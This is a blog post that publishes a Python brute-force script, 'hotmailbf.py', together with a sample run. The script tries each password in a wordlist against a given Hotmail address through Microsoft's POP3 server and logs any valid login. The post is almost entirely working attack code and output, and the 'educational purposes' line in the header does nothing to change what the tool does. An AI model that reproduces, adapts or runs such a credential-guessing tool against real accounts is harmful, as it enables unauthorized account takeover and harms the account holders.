Monday, September 6, 2010

hotmailbf.py (hotmail account bruteforcer)

 

001#!/usr/bin/python
002# -*- coding: utf-8 -*-
003# Hotmail brute forcer
004# programmer : gunslinger_
005# Inspired by mywisdom
006# This program is only for educational purposes only.
007 
008import sys, poplib, time
009 
010__Author__ = "Gunslinger_"
011__Version__  = "1.0"
012__Date__   = "Mon, 22 Feb 2010 13:13:43 +0700 "
013log = "hotmailbrute.log"
014file = open(log, "a")
015counter = 0
016face = '''
017 _           _                   _ _   _      __
018| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
019| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
020| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
021|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
022 
023 Hotmail brute forcer
024 programmer   : %s
025 version      : %s
026 date release : %s
027 ''' % (__Author__, __Version__, __Date__)
028 
029help = '''
030Usage : ./hotmailbf.py -u [email] -w [wordlist]
031Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
032'''
033 
034for arg in sys.argv:
035 if arg.lower() == '-u' or arg.lower() == '--user':
036 email = sys.argv[int(sys.argv.index(arg))+1]
037 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
038 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
039 elif arg.lower() == '-h' or arg.lower() == '--help':
040 print face
041 print help
042 file.write(face)
043 file.write(help)
044 
045#Change these if needed.
046HOST = 'pop3.live.com'
047PORT = 995
048 
049try:
050 preventstrokes = open(wordlist, "r")
051 words            = preventstrokes.readlines()
052 count          = 0
053 while count < len(words):
054 words[count] = words[count].strip()
055 count += 1
056except(IOError):
057 print "\n[-] Error: Check your wordlist path\n"
058 file.write("\n[-] Error: Check your wordlist path\n")
059 sys.exit(1)
060def definer():
061 print "-" * 60
062 print "[+] Email         : %s" % email
063 print "[+] Wordlist         : %s" % wordlist
064 print "[+] Length wordlist     : %s " % len(words)
065 print "[+] Time Starting     : %s" % time.strftime("%X")
066 print "-" * 60
067 file.write ("\n[+] Email : %s" % email)
068 file.write ("\n[+] Wordlist : %s" % wordlist)
069 file.write ("\n[+] length wordlist : %s " % len(words))
070 file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
071 
072def main(password):
073 global counter
074 sys.stdout.write ("[-] Trying : %s \n" % (password))
075 sys.stdout.flush()
076 file.write("[-] Trying : %s \n" % (str(password)))
077 try:
078 pop = poplib.POP3_SSL(HOST, PORT)
079 pop.user(email)
080 pop.pass_(password)
081 pop.quit()
082 print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
083 file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
084 sys.exit(1)
085 except Exception, e:
086 pass
087 except KeyboardInterrupt:
088 print "\n[-] Aborting...\n"
089 file.write("\n[-] Aborting...\n")
090 sys.exit(1)
091 counter+=1
092 if counter == len(words)/5:
093 print "[+] Hotmailbruteforcer 20% way done..."
094 print "[+] Please be patient..."
095 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
096 file.write("[+] Please be patient...\n")
097 elif counter == len(words)/4:
098 print "[+] Hotmailbruteforcer 25% way done..."
099 print "[+] Please be patient..."
100 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
101 file.write("[+] Please be patient...\n")
102 elif counter == len(words)/2:
103 print "[+] Hotmailbruteforcer on 50% done..."
104 print "[+] Please be patient..."
105 file.write("[+] hotmailbruteforcer on halfway done...\n")
106 file.write("[+] Please be patient...\n")
107 elif counter == len(words):
108 print "[+] Hotmailbruteforcer done...\n"
109 file.write("[+] Hotmailbruteforcer done...!\n")
110 
111if __name__ == '__main__':
112 print face
113 file.write(face)
114 definer()
115 for password in words:
116 main(password.replace("\n",""))
117 main(password)
and this is example :
01gunslinger@localhost:~/project/hotmail$ ./hotmailbf.py -u **CENSORED**@hotmail.com -w wordlist.txt
02 
03 _           _                   _ _   _      __
04| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
05| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
06| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
07|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
08 
09            Hotmail brute forcer
10            programmer : Gunslinger_
11 
12------------------------------------------------------------
13[+] Email       : **CENSORED**@hotmail.com
14[+] Wordlist        : wordlist.txt
15[+] Length wordlist     : 7
16[+] Time Starting   : 13:02:32
17------------------------------------------------------------
18[-] Trying : dsnadsa
19[+] Hotmailbruteforcer 20% way done...
20[+] Please be patient...
21[-] Trying : dsadsa
22[-] Trying : fdsafds
23[+] Hotmailbruteforcer on 50% done...
24[+] Please be patient...
25[-] Trying : dsadsaf
26[-] Trying : fasfsa
27[-] Trying : dsadsad
28[-] Trying : **CENSORED**
29[+] W00t w00t !!!
30[+] Username : [**CENSORED**@hotmail.com]
31[+] Password : [**CENSORED**]
32[+] Status : Valid!
33gunslinger@localhost:~/project/hotmail$

 

No comments:

Template by : mhiman@ hacker-newbie.org